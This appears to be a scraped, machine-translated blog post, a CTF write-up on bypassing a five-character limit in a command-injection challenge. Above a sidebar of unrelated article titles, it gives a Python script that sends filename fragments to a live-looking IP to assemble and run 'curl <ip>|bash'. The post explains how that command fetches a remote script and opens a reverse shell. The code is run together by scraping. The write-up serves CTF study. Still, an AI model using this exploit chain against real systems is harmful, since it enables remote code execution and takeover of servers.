当前位置:网站首页>The CTF command execution subject their thinking
The CTF command execution subject their thinking
2022-08-03 01:03:00 【wespten】
CTF has a command execution vulnerability problem, and the single input character must not exceed 5.

Using Linux-specific commands to write shell bounces.
The principle is to use many methods such as curl ip|bash to bounce the shell.
import requestsfrom time import sleepfrom urllib.parse import quotepayload = [# generate `ls -t>g` file'>ls\\','ls>_','>\ \\','>-t\\','>\>g','ls>>_',# generate `curl orange.tw.tw|python`# generate `curl 10.188.2.20|bash`'>sh\ ','>ba\\','>\|\\',# '>03\\',# '>90\\','>0\\','>20\\','>1.\\','>12\\' ,'>7.\\','>10\\' ,'>9.\\','>3\\','>\ \\','>rl\\','>cu\\',#exec'sh_','sh g',]r = requests.get('http://120.79.33.253:9003/?reset=1')for i in payload:assert len(i) <= 5r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )print(i)sleep(0.2)Put a bash sentence in your own server, and use curl ip|bash to bounce the shell.
Enable monitoring, and the shell can be bounced after execution.

Using linux file writing skills:

ls -t >g is the reverse output file name, then sh _ executes the file and writes it to g

You can see that the file has curl xx.x.x.x|bash characters. Entering any character under linux and adding \ will not interrupt the current operation, and you can continue to enter the content.If there is no \ behind it, it will be interrupted, and sh can still execute executable commands in the case of an error, so it will not affect the execution of curl.
边栏推荐
猜你喜欢

CS5213 chip | HDMI to VGA converter chip data sharing

ML之PDP:基于titanic泰坦尼克是否获救二分类预测数据集利用PDP部分依赖图对RF随机森林和LightGBM模型实现可解释性案例

任务四 机器学习库Scikit-learn

Interviewer: can you talk about optimistic locking and pessimistic locks

CKA、CKAD、CKS、KCNA、CFCD考试

centos7安装mysql8

反弹shell原理与实现
![[论文总结] 深度学习在农业领域应用论文笔记10](/img/e8/0ba741980495cd81ca30bf269d1111.jpg)
[论文总结] 深度学习在农业领域应用论文笔记10

【C语言】带头双向循环链表(list)详解(定义、增、删、查、改)

H.265视频流媒体播放器EasyPlayer.js集成时出现“SourceBuffer ”报错,该如何解决?
随机推荐
你离「TDengine 开发者大会」只差一条 SQL 语句!
openssl源码下载
CWE4.8:2022年危害最大的25种软件安全问题
最近公共祖先(LCA)学习笔记 | P3379 【模板】最近公共祖先(LCA)题解
学习基因富集工具DAVID(3)
如何通过开源数据库管理工具 DBeaver 连接 TDengine
Mysql查看慢查询日志
虚拟内存 virualmemory
“百日行动”进行时:700余交通安全隐患被揪出
Finally understand: With threads, why do we need coroutines?
双轴晶体中锥形折射的建模与应用
go 序列化与反序列化
You and I will meet the needs of: how to export the data in a MySQL simple ~!Practical!
MySQL删除数据后,释放磁盘空间
js function anti-shake and function throttling and other usage scenarios
不堪哥哥殴打谩骂,妹妹申请人身安全保护令获支持
IP Protocol (Internet Protocol)
最新真实软件测试面试题分享,收藏了还怕进入不了大厂?
技术分享 | 接口自动化测试中如何对xml 格式做断言验证?
ML之PDP:基于titanic泰坦尼克是否获救二分类预测数据集利用PDP部分依赖图对RF随机森林和LightGBM模型实现可解释性案例